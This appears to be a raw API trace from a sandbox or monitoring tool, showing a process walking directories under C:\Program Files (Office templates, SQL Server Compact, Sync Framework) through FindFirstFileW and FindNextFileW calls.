	[0257.238] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14\\*", lpFindFileData=0x374ee18 | out: lpFindFileData=0x374ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc75c370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc7a8630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc7a8630, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x41b2510
	[0257.239] FindNextFileW (in: hFindFile=0x41b2510, lpFindFileData=0x374ee18 | out: lpFindFileData=0x374ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc75c370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc7a8630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc7a8630, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0257.239] FindNextFileW (in: hFindFile=0x41b2510, lpFindFileData=0x374ee18 | out: lpFindFileData=0x374ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc7a8630, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc7a8630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc7a8630, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Notebook Templates", cAlternateFileName="NOTEBO~1")) returned 1
	[0257.239] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14\\Notebook Templates\\*", lpFindFileData=0x374eb9c | out: lpFindFileData=0x374eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc7a8630, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc7a8630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc7a8630, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x41b2590
	[0257.240] FindNextFileW (in: hFindFile=0x41b2590, lpFindFileData=0x374eb9c | out: lpFindFileData=0x374eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc7a8630, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc7a8630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc7a8630, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0257.240] FindNextFileW (in: hFindFile=0x41b2590, lpFindFileData=0x374eb9c | out: lpFindFileData=0x374eb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb83c0e00, ftCreationTime.dwHighDateTime=0x1cacf2a, ftLastAccessTime.dwLowDateTime=0xc7ce790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb83c0e00, ftLastWriteTime.dwHighDateTime=0x1cacf2a, nFileSizeHigh=0x0, nFileSizeLow=0x1490fe, dwReserved0=0x0, dwReserved1=0x0, cFileName="Notebook03.onepkg", cAlternateFileName="NOTEBO~1.ONE")) returned 1
	[0257.240] FindClose (in: hFindFile=0x41b2590 | out: hFindFile=0x41b2590) returned 1
	[0257.240] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x421dcf0 | out: hHeap=0x4a0000) returned 1
	[0257.240] FindNextFileW (in: hFindFile=0x41b2510, lpFindFileData=0x374ee18 | out: lpFindFileData=0x374ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc75c370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc840bb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc840bb0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stationery", cAlternateFileName="STATIO~1")) returned 1
	[0257.240] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ONENOTE\\14\\Stationery\\*", lpFindFileData=0x374eb9c | out: lpFindFileData=0x374eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc75c370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc840bb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc840bb0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x41b2590
	[0257.240] FindNextFileW (in: hFindFile=0x41b2590, lpFindFileData=0x374eb9c | out: lpFindFileData=0x374eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc75c370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc840bb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc840bb0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0257.240] FindNextFileW (in: hFindFile=0x41b2590, lpFindFileData=0x374eb9c | out: lpFindFileData=0x374eb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa6be3a00, ftCreationTime.dwHighDateTime=0x1ca472f, ftLastAccessTime.dwLowDateTime=0xc75c370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa6be3a00, ftLastWriteTime.dwHighDateTime=0x1ca472f, nFileSizeHigh=0x0, nFileSizeLow=0x3dd00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACADEMIC.ONE", cAlternateFileName="")) returned 1
	[0257.241] FindClose (in: hFindFile=0x41b2590 | out: hFindFile=0x41b2590) returned 1
	[0257.241] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x421dcf0 | out: hHeap=0x4a0000) returned 1
	[0257.241] FindNextFileW (in: hFindFile=0x41b2510, lpFindFileData=0x374ee18 | out: lpFindFileData=0x374ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc75c370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc840bb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc840bb0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stationery", cAlternateFileName="STATIO~1")) returned 0
	[0257.241] FindClose (in: hFindFile=0x41b2510 | out: hFindFile=0x41b2510) returned 1
	[0257.241] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x420dce8 | out: hHeap=0x4a0000) returned 1
	[0257.241] FindNextFileW (in: hFindFile=0x41b22d0, lpFindFileData=0x374f094 | out: lpFindFileData=0x374f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc75c370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc7a8630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc7a8630, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="14", cAlternateFileName="")) returned 0
	[0257.241] FindClose (in: hFindFile=0x41b22d0 | out: hFindFile=0x41b22d0) returned 1
	[0257.241] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4190058 | out: hHeap=0x4a0000) returned 1
	[0257.241] FindNextFileW (in: hFindFile=0x41b25d0, lpFindFileData=0x374f310 | out: lpFindFileData=0x374f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e4db210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x2db52, dwReserved0=0x0, dwReserved1=0x0, cFileName="OrielLetter.Dotx", cAlternateFileName="ORIELL~1.DOT")) returned 1
	[0257.242] FindClose (in: hFindFile=0x41b25d0 | out: hFindFile=0x41b25d0) returned 1
	[0257.242] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x42c9c88 | out: hHeap=0x4a0000) returned 1
	[0257.242] FindNextFileW (in: hFindFile=0x41b2250, lpFindFileData=0x374f58c | out: lpFindFileData=0x374f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x696f1810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x696f1810, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Presentation Designs", cAlternateFileName="PRESEN~1")) returned 1
	[0257.242] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\Presentation Designs\\*", lpFindFileData=0x374f310 | out: lpFindFileData=0x374f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x696f1810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x696f1810, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x41b25d0
	[0257.243] FindNextFileW (in: hFindFile=0x41b25d0, lpFindFileData=0x374f310 | out: lpFindFileData=0x374f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x696f1810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x696f1810, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0257.243] FindNextFileW (in: hFindFile=0x41b25d0, lpFindFileData=0x374f310 | out: lpFindFileData=0x374f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb67a1600, ftCreationTime.dwHighDateTime=0x1c65230, ftLastAccessTime.dwLowDateTime=0x696f1810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb67a1600, ftLastWriteTime.dwHighDateTime=0x1c65230, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Maple.gif", cAlternateFileName="")) returned 1
	[0257.243] FindClose (in: hFindFile=0x41b25d0 | out: hFindFile=0x41b25d0) returned 1
	[0257.243] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x42c9c88 | out: hHeap=0x4a0000) returned 1
	[0257.243] FindNextFileW (in: hFindFile=0x41b2250, lpFindFileData=0x374f58c | out: lpFindFileData=0x374f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x696f1810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x696f1810, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Presentation Designs", cAlternateFileName="PRESEN~1")) returned 0
	[0257.243] FindClose (in: hFindFile=0x41b2250 | out: hFindFile=0x41b2250) returned 1
	[0257.243] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x41d1cc8 | out: hHeap=0x4a0000) returned 1
	[0257.243] FindNextFileW (in: hFindFile=0x41b2210, lpFindFileData=0x374f808 | out: lpFindFileData=0x374f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf59f9270, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 0
	[0257.243] FindClose (in: hFindFile=0x41b2210 | out: hFindFile=0x41b2210) returned 1
	[0257.243] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x41b3078 | out: hHeap=0x4a0000) returned 1
	[0257.484] FindNextFileW (in: hFindFile=0x41b21d0, lpFindFileData=0x374fa84 | out: lpFindFileData=0x374fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e54b70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e54b70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft SQL Server Compact Edition", cAlternateFileName="MICROS~3")) returned 1
	[0257.485] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft SQL Server Compact Edition\\*", lpFindFileData=0x374f808 | out: lpFindFileData=0x374f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e54b70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e54b70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x41b2090
	[0257.627] FindNextFileW (in: hFindFile=0x41b2090, lpFindFileData=0x374f808 | out: lpFindFileData=0x374f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e54b70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e54b70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0257.627] FindNextFileW (in: hFindFile=0x41b2090, lpFindFileData=0x374f808 | out: lpFindFileData=0x374f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d3a4910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d3a4910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.5", cAlternateFileName="")) returned 1
	[0257.627] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5\\*", lpFindFileData=0x374f58c | out: lpFindFileData=0x374f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d3a4910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d3a4910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x41b2210
	[0257.636] FindNextFileW (in: hFindFile=0x41b2210, lpFindFileData=0x374f58c | out: lpFindFileData=0x374f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d3a4910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d3a4910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0257.636] FindNextFileW (in: hFindFile=0x41b2210, lpFindFileData=0x374f58c | out: lpFindFileData=0x374f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e54b70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e54b70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 1
	[0257.636] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5\\Desktop\\*", lpFindFileData=0x374f310 | out: lpFindFileData=0x374f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e54b70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e54b70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x41b2250
	[0257.636] FindNextFileW (in: hFindFile=0x41b2250, lpFindFileData=0x374f310 | out: lpFindFileData=0x374f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e54b70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e54b70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0257.636] FindNextFileW (in: hFindFile=0x41b2250, lpFindFileData=0x374f310 | out: lpFindFileData=0x374f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e54b70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e54b70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0257.636] FindClose (in: hFindFile=0x41b2250 | out: hFindFile=0x41b2250) returned 1
	[0257.636] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x41e1cd0 | out: hHeap=0x4a0000) returned 1
	[0257.636] FindNextFileW (in: hFindFile=0x41b2210, lpFindFileData=0x374f58c | out: lpFindFileData=0x374f58c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd805600, ftCreationTime.dwHighDateTime=0x1c8d68c, ftLastAccessTime.dwLowDateTime=0x5ab6f770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd805600, ftLastWriteTime.dwHighDateTime=0x1c8d68c, nFileSizeHigh=0x0, nFileSizeLow=0x8b840, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqlceca35.dll", cAlternateFileName="SQLCEC~1.DLL")) returned 1
	[0257.637] FindClose (in: hFindFile=0x41b2210 | out: hFindFile=0x41b2210) returned 1
	[0257.637] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x41b3078 | out: hHeap=0x4a0000) returned 1
	[0257.637] FindNextFileW (in: hFindFile=0x41b2090, lpFindFileData=0x374f808 | out: lpFindFileData=0x374f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d3a4910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d3a4910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.5", cAlternateFileName="")) returned 0
	[0257.637] FindClose (in: hFindFile=0x41b2090 | out: hFindFile=0x41b2090) returned 1
	[0257.637] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x42c9c88 | out: hHeap=0x4a0000) returned 1
	[0257.637] FindNextFileW (in: hFindFile=0x41b21d0, lpFindFileData=0x374fa84 | out: lpFindFileData=0x374fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Sync Framework", cAlternateFileName="MICROS~4")) returned 1
	[0257.637] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework\\*", lpFindFileData=0x374f808 | out: lpFindFileData=0x374f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x41b2090
	[0257.637] FindNextFileW (in: hFindFile=0x41b2090, lpFindFileData=0x374f808 | out: lpFindFileData=0x374f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0257.637] FindNextFileW (in: hFindFile=0x41b2090, lpFindFileData=0x374f808 | out: lpFindFileData=0x374f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v1.0", cAlternateFileName="")) returned 1
	[0257.638] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\*", lpFindFileData=0x374f58c | out: lpFindFileData=0x374f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x41b2210
	[0257.638] FindNextFileW (in: hFindFile=0x41b2210, lpFindFileData=0x374f58c | out: lpFindFileData=0x374f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0257.638] FindNextFileW (in: hFindFile=0x41b2210, lpFindFileData=0x374f58c | out: lpFindFileData=0x374f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6626d2b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Documentation", cAlternateFileName="DOCUME~1")) returned 1
	[0257.638] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\*", lpFindFileData=0x374f310 | out: lpFindFileData=0x374f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6626d2b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x41b2250
	[0257.638] FindNextFileW (in: hFindFile=0x41b2250, lpFindFileData=0x374f310 | out: lpFindFileData=0x374f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6626d2b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0257.638] FindNextFileW (in: hFindFile=0x41b2250, lpFindFileData=0x374f310 | out: lpFindFileData=0x374f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6626d2b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1
	[0257.639] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\1033\\*", lpFindFileData=0x374f094 | out: lpFindFileData=0x374f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6626d2b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x41b25d0
